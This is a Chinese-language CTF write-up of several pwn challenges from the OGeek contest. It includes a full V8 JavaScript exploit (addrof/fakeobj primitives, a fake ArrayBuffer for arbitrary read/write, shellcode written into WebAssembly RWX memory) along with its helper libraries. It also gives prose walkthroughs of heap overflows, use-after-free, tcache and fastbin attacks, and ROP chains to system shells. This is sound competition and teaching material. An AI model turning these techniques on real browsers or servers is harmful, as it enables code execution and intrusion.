OGeek线上CTF挑战赛pwn题详细Write Up

百家 作者:OPPO安全应急响应中心 2019-11-06 11:22:29


ace_challenge


解压附件,根据附件中的chal.patch文件分析题目对v8进行的修改,找到修改后导致的漏洞,并编写相应的利用代码:

1、exploit.js

var vuln_idx = 0;var refs = [];var shellcode = [0x48,0xbf,0x22,0x11,0xff,0xee,0xdd,0xcc,0xbb,0xaa,0x48,0x31,0xf6,0xb8,0x02,0x00,0x00,0x00,0x0f,0x05,0x48,0x89,0xfe,0x48,0x89,0xc7,0xba,0x64,0x00,0x00,0x00,0x31,0xc0,0x0f,0x05,0xc3];var flag_buffer = new Uint8Array(0x1000);var flag_path = "/data/local/tmp/flag";let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});let f = wasm_mod.exports._Z3addii;
function addrof(obj) {let _addrof = eval(`(obj) => { function Inner${vuln_idx}() { this.a${vuln_idx} = 1.1; this.b${vuln_idx} = 2.2; } function Outer${vuln_idx}(inner) { this.inner${vuln_idx} = inner; }
var i = new Inner${vuln_idx}(); var o = new Outer${vuln_idx}(i);
Outer${vuln_idx}.prototype.boom = function () { return this.inner${vuln_idx}.a${vuln_idx}; }
for(var idx = 0; idx < 0x10000; idx++) { o.boom(); }
o = new Outer${vuln_idx}({a${vuln_idx}: obj, b${vuln_idx}: 2.2}); return o.boom();} `); vuln_idx += 1;return _addrof(obj);}
function fakeobj(addr) {let _fakeobj = eval(`(addr) => { function Inner${vuln_idx}() { this.a${vuln_idx} = []; this.b${vuln_idx} = 2.2; } function Outer${vuln_idx}(inner) { this.inner${vuln_idx} = inner; }
var i = new Inner${vuln_idx}(); var o = new Outer${vuln_idx}(i);
Outer${vuln_idx}.prototype.boom = function () { return this.inner${vuln_idx}.a${vuln_idx}; }
for(var idx = 0; idx < 0x10000; idx++) { o.boom(); }
o = new Outer${vuln_idx}({a${vuln_idx}: addr, b${vuln_idx}: 2.2}); return o.boom();} `); vuln_idx += 1;return _fakeobj(addr);}
// leak map using oobfunction leak_map() {function Outer(inner) {this.inner = inner; }
var cross_off = 17;var obj_str = "var inner = {";for(var i = 0; i < = cross_off; i++) { obj_str += String.fromCharCode(0x61 + i); obj_str += ": 1.1, "; } obj_str += "}";eval(obj_str); var outer = new Outer(inner);
Outer.prototype.boom = function () {return this.inner.r; };var i2 = {a: 1.1, b: 2.2};var ab = new ArrayBuffer(0x100);for(var i = 0; i < 20000; i++) { outer.boom(); }
outer = new Outer(i2);var leak = outer.boom();return leak;}
function u2d(u) {return (new Int64(u)).asDouble();}
function pwn() {// preparationfor(var i = 0; i < 0x1000; i++) { refs.push([0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7]); }
// test exploit primitivesvar obj = [1.1, 2.2, 3.3, 4.4];var objaddr = addrof(obj);var o = fakeobj(objaddr);if(o[0] != 1.1) { print("[-] Exploit primitives not working..");return; } print("[+] Exploit primitives working fine.");
// exploitationvar ab_map = leak_map(); print("[+] Leaked map = " + Int64.fromDouble(ab_map).toString());var o = {a:0.0, b:0.0, c:0.0, d:0.0, e:0.0, f:0.0, g: 0.0, h:0.0, i:0.0, j:0.0}; o.b = ab_map; o.c = ab_map; o.d = ab_map; o.e = u2d(0x400); o.f = u2d(0x41414141); o.g = ab_map;var o_addr = Int64.fromDouble(addrof(o)); print("[+] Object address: " + o_addr.toString());var faked = Add(o_addr, 0x20);var fake_ab = fakeobj(faked.asDouble()); print("[+] Fake ArrayBuffer created. Length: " + fake_ab.byteLength);
var rw = {set_addr: function (addr) { o.f = addr.asDouble(); },write: function (addr, bytes) {this.set_addr(addr);var view = new Uint8Array(fake_ab); view.set(bytes); },read8: function (addr) {this.set_addr(addr);var view = new Uint8Array(fake_ab);return new Int64(view.slice(0, 8)); },addrof: function (obj) {return Int64.fromDouble(addrof(obj)); } };
//var flag_ab = new Uint8Array([1,2,3]);
var addr_f = rw.addrof(f); print("[+] func = " + addr_f.toString());var shared_func_info = rw.read8(Add(Sub(addr_f, Int64.One), new Int64(0x18))); print("[+] shared_func_info = " + shared_func_info.toString());var exported = rw.read8(Add(Sub(shared_func_info, Int64.One), new Int64(8))); print("[+] exported = " + exported.toString());var instance = rw.read8(Add(Sub(exported, Int64.One), new Int64(0x10))); print("[+] instance = " + instance.toString());var rwx_memory = rw.read8(Add(Sub(instance, Int64.One), new Int64(0x88))); print("[+] rwx_memory = " + rwx_memory.toString());var fb_addr = rw.addrof(flag_buffer); print("[+] fb_addr = " + fb_addr.toString());var buf_addr = rw.read8(Add(Sub(fb_addr, Int64.One), new Int64(0x38))); print("[+] buf_addr = " + buf_addr.toString());
for(var i = 0; i < flag_path.length; i++) { flag_buffer[i] = flag_path.charCodeAt(i); }for(var i = 0; i < 8; i++) { shellcode[i + 2] = buf_addr.byteAt(i); } rw.write(rwx_memory, shellcode); f();
var flag = "";for(var i = 0; i < flag_buffer.length; i++) {if(flag_buffer[i] == 0) {break; } flag += String.fromCharCode(flag_buffer[i]); } print("[+] Flag = " + flag);
print("[+] Done!");return;}

2、int64.js

//// Tiny module that provides big (64bit) integers.//// Copyright (c) 2016 Samuel Groß//// Requires utils.js//
// Datatype to represent 64-bit integers.//// Internally, the integer is stored as a Uint8Array in little endian byte order.function Int64(v) {// The underlying byte array.var bytes = new Uint8Array(8);
switch (typeof v) {case 'number': v = '0x' + Math.floor(v).toString(16);case 'string':if (v.startsWith('0x')) v = v.substr(2);if (v.length % 2 == 1) v = '0' + v;
var bigEndian = unhexlify(v, 8); bytes.set(Array.from(bigEndian).reverse());break;case 'object':if (v instanceof Int64) { bytes.set(v.bytes()); } else {if (v.length != 8)throw TypeError("Array must have excactly 8 elements."); bytes.set(v); }break;case 'undefined':break;default:throw TypeError("Int64 constructor requires an argument."); }
// Return a double whith the same underlying bit representation.this.asDouble = function() {// Check for NaNif (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes); };
// Return a javascript value with the same underlying bit representation.// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)// due to double conversion constraints.this.asJSValue = function() {if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.this.assignSub(this, 0x1000000000000);var res = Struct.unpack(Struct.float64, bytes);this.assignAdd(this, 0x1000000000000);
return res; };
// Return the underlying bytes of this number as array.this.bytes = function() {return Array.from(bytes); };
// Return the byte at the given index.this.byteAt = function(i) {return bytes[i]; };
// Return the value of this number as unsigned hex string.this.toString = function() {return '0x' + hexlify(Array.from(bytes).reverse()); };
this.asInt = function() {return parseInt(this.toString()); }
// Basic arithmetic.// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care// of converting arguments to Int64 instances if required.function operation(f, nargs) {return function() {if (arguments.length != nargs)throw Error("Not enough arguments for function " + f.name);for (var i = 0; i < arguments.length; i++)if (!(arguments[i] instanceof Int64))arguments[i] = new Int64(arguments[i]);return f.apply(this, arguments); }; }
// this = -n (two's complement)this.assignNeg = operation(function neg(n) {for (var i = 0; i < 8; i++) bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One); }, 1);
// this = a + bthis.assignAdd = operation(function add(a, b) {var carry = 0;for (var i = 0; i < 8; i++) {var cur = a.byteAt(i) + b.byteAt(i) + carry; carry = cur > 0xff | 0; bytes[i] = cur; }return this; }, 2);
// this = a - bthis.assignSub = operation(function sub(a, b) {var carry = 0;for (var i = 0; i < 8; i++) {var cur = a.byteAt(i) - b.byteAt(i) - carry; carry = cur < 0 | 0; bytes[i] = cur; }return this; }, 2);
// this = a ^ bthis.assignXor = operation(function sub(a, b) {for (var i = 0; i < 8; i++) { bytes[i] = a.byteAt(i) ^ b.byteAt(i); }return this; }, 2);}
// Constructs a new Int64 instance with the same bit representation as the provided double.Int64.fromDouble = function(d) {var bytes = Struct.pack(Struct.float64, d);return new Int64(bytes);};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)function Neg(n) {return (new Int64()).assignNeg(n);}
// Return a + bfunction Add(a, b) {return (new Int64()).assignAdd(a, b);}
// Return a - bfunction Sub(a, b) {return (new Int64()).assignSub(a, b);}
// Return a ^ bfunction Xor(a, b) {return (new Int64()).assignXor(a, b);}
// Some commonly used numbers.Int64.Zero = new Int64(0);Int64.One = new Int64(1);

3、shellcode.asm

; nasm -f bin -o shellcode.bin shellcode.asmorg 0100hBITS 64
mov rdi, 0xaabbccddeeff1122xor rsi, rsimov eax, 2syscall
mov rsi, rdimov rdi, raxmov rdx, 0x64xor eax, eaxsyscall
ret

4、utils.js

//// Utility functions.//// Copyright (c) 2016 Samuel Groß//
// Print function in browser context.function browser_print(msg) {console.log(msg);document.body.innerText += msg + 'n';}
if (typeof(window) !== 'undefined') print = browser_print;
// Log a message and abort execution.function fail(msg) { print("[-] " + msg);throw null;}
// Simple assert function.function assert(cond, msg) {if (!cond) { fail(msg); }}
// Return the hexadecimal representation of the given byte.function hex(b) {return ('0' + b.toString(16)).substr(-2);}
// Return the hexadecimal representation of the given byte array.function hexlify(bytes) {var res = [];for (var i = 0; i < bytes.length; i++) res.push(hex(bytes[i]));
return res.join('');}
// Return the binary data represented by the given hexdecimal string.function unhexlify(hexstr) {if (hexstr.length % 2 == 1)throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);for (var i = 0; i < hexstr.length; i += 2) bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;}
function hexdump(data) {if (typeof data.BYTES_PER_ELEMENT !== 'undefined') data = Array.from(data);
var lines = [];for (var i = 0; i < data.length; i += 16) {var chunk = data.slice(i, i+16);var parts = chunk.map(hex);if (parts.length > 8) parts.splice(8, 0, ' '); lines.push(parts.join(' ')); }
return lines.join('n');}
// Simplified version of the similarly named python module.var Struct = (function() {// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.var buffer = new ArrayBuffer(8);var byteView = new Uint8Array(buffer);var uint32View = new Uint32Array(buffer);var float64View = new Float64Array(buffer);
return {pack: function(type, value) {var view = type; // See below view[0] = value;return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); },
unpack: function(type, bytes) {if (bytes.length !== type.BYTES_PER_ELEMENT)throw Error("Invalid bytearray");
var view = type; // See below byteView.set(bytes);return view[0]; },
// Available types. int8: byteView,int32: uint32View,float64: float64View };})();
let retry = () => { location.reload(true);};
function DbgBreak() { alert('Break!');}


编写完利用代码之后,选手需要自己搭建http server并提交URL到题目服务器。题目服务器会在本地自动运行Android模拟器并测试选手的利用,并将模拟器的窗口录制下来作为结果返回给选手



babyheap

程序有增删改查四个功能,允许最多增加18个大小不超过0x100的堆块(即不会调用windows heap的LFH机制),在改的功能中存在 arbitrary heap overflow,同 linux heap exploitation类似,windows heap也存在unlink 攻击,合理覆盖 _HEAP_FREE_ENTRY 的 Flink/Blink即可实现 DWshoot。

这里使用的方法是通过unlink攻击g_list[i]使其指向自身,这样配合改和查的功能就实现了任意地址读写。

有两点需要注意:

1.堆溢出时需要合法的覆写下一个 _HEAP_ENTRY 的 header,这里可以使用堆溢出覆写 printf terminator 来 leak 相同大小的 encrypted header

2.在linux下,任意读写后可以使用读写GOT来leak libc和劫持控制流,但windows的IAT只读,可以leak,但不能用来劫持控制流,因此这里采取的方法是依次leak : kernel32.dll -> kernelbase.dll -> BasepFilterInfo -> stack pointer -> ret addr,同时通过leak ucrtbased.dll可以得到system的地址,这样我们就有了主函数的返回地址在栈上的位置和system地址,接下来通过任意地址写改写栈,通过ROP调用system(“cmd.exe”)即可

结果如下图所示:


babyrop


本题存在明显栈溢出,要进入溢出函数首先要绕过一个随机值校验。如下图所示,随机值校验使用strncmp,长度使用strlen来计算, 因此只要输入字符以x00开始,则可以绕过该比较。

take_input将接收上一步用户输入的字符串中的第一个字符作为输入。

如下图,参数长度可以控制read的输入长度,因此最大可以使用0xff作为输入长度。

在这里通过覆盖saved ebp来修改ebp的值,如下图:

通过布置ROP链来修改esp到新的位置(stack pivot),同时将新的ROP链读到目标位置,从而返回执行,

在执行的过程中通过调用write来泄露信息,计算libc的基址,从而最终可以调用system(“/bin/sh”)。


bookmanager


在新建Chapter时需要输入Chapter name,而在Chapter name的存储空间是32字节,输入32字节后且并未以0截断。

使用Book preview功能,Chapter name之后信息将被打印。由于Chapter name之后是一张存储Section地址的表,那么这里可以得到堆得地址。

此处会泄露地址:0x5576c5f6c130

在释放一个Section结构体时存在UAF,如下图。

因为存在UAF,所以可以进一步调用Update功能来修改已释放块的fd指针,进而构造了一个fastbin attack。

将新的伪造fastbin chunk分配回来修改,达到修改Text指针的目的,从而实现任意地址的读写。如下图已释放的0x55e4b45a0120块的fd指针从0x0修改为0x55e4b45a0170,将伪造的0x55e4b45a0170块分配回来修改起Section name,此时恰好修改的是0x55e4b45a0160块的Text指针。

通过分配及释放可以找到unsorted bin的地址,从而找到libc的基址,如下图。

根据libc基址找到envrion,并得到栈的地址。从而可以在栈上布置ROP链,执行system(“/bin/sh”)


colorfulpwn


Step1:

按照正常规则生成带有`file_header``info_header``color_table``pixel_table`的bmp格式文件

Step2:

提前设置info_header中的colors_in_color_table变量导致输出color_table时导致上传后jemalloc堆区越界读

Step3:

在前端P图界面调整色调后撤销所有操作触发UAF

Step4:

精心构造P图时的commiter信息导致UAF后用one_gadget占位libc GOT表中的strlen

Step5:

Oob将flag带出


from the shadow


这是一个代理服务器,通过逆向分析alloc


当random_len为0xff的时候会发生整型溢出,之后导致栈溢出。


在代理转发的地方 pack 也有一个整型溢出,进行堆构造可以leak出heap地址和libc地址


Pad 为 char 值,当构造pad 为0xff ,data_size -= pad 导致整型溢出,当 realloc 的时候回分配更大的值出来,导致越界读,在之后导致内存读。

由于进程为fork,因此内存映射变化情况不变,则可先leak 后构造rop。


程序开启了 PIE 但,pop rdi 等gadget 可在libc中找到。


最后rop 即可,getshell。


hub


程序有三个功能,malloc分配内存,write改写最新分配的内存内容以及通过最新分配内存地址加偏移的形式free任意地址。

因为没有show的能力,通过double free 使tcache指针指向自己,改写堆上tcache列表头指针低位来改写_IO_write_base使用puts泄露地址,同时需要保证flags &0x2000 标志位为真。得到地址后修改free_hook为one_gadget地址getshell。改写指针过程中有4bits未知,1/16概率成功。


关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接